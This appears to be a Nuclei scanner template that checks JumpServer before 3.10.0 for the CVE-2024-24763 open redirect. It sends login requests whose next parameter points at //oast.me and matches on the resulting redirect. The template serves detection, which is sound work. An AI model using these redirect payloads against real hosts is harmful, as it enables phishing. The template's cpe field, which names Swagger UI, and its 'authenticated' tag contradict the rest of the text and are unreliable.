id: CVE-2024-24763

info:
  name: JumpServer < 3.10.0 - Open Redirect
  author: ritikchaddha
  severity: medium
  description: |
    JumpServer is an open source bastion host and an operation and maintenance security audit system. Prior to version 3.10.0, attackers can exploit this vulnerability to construct malicious links, leading users to click on them, thereby facilitating phishing attacks or cross-site scripting attacks. Version 3.10.0 contains a patch for this issue. No known workarounds are available.
  impact: |
    Unauthenticated attackers can redirect users to malicious URLs via the next parameter, facilitating phishing attacks or cross-site scripting.
  remediation: |
    Update JumpServer to version 3.10.0 or later.
  reference:
    - https://github.com/jumpserver/jumpserver/security/advisories/GHSA-p2mq-cm25-g4m5
    - https://nvd.nist.gov/vuln/detail/CVE-2024-24763
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L
    cvss-score: 4.3
    cve-id: CVE-2024-24763
    cwe-id: CWE-601
    epss-score: 0.30679
    epss-percentile: 0.96792
    cpe: cpe:2.3:a:smartbear:swagger_ui:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: fit2cloud
    product: jumpserver
    fofa-query:
      - title="JumpServer"
      - title="jumpserver"
  tags: cve2024,cve,jumpserver,redirect,fit2cloud,authenticated,vuln

http:
  - raw:
      - |
        POST /{{paths}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}

    payloads:
      paths:
        - "core/auth/login/?next=//oast.me"
        - "auth/login/?next=//oast.me"
        - "login/?next=//oast.me"

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?oast\.me(?:\s*?)$'
# digest: 4a0a004730450221009836aa116493d583c08939f9126fb0c5430aa20d148e5511d464843b2e66336a02206de65f7f7355d74dd9209014dfbd9506aa2214ac219d23a9fc3b13abecd75ef9:922c64590222798bb761d5b6d8e72950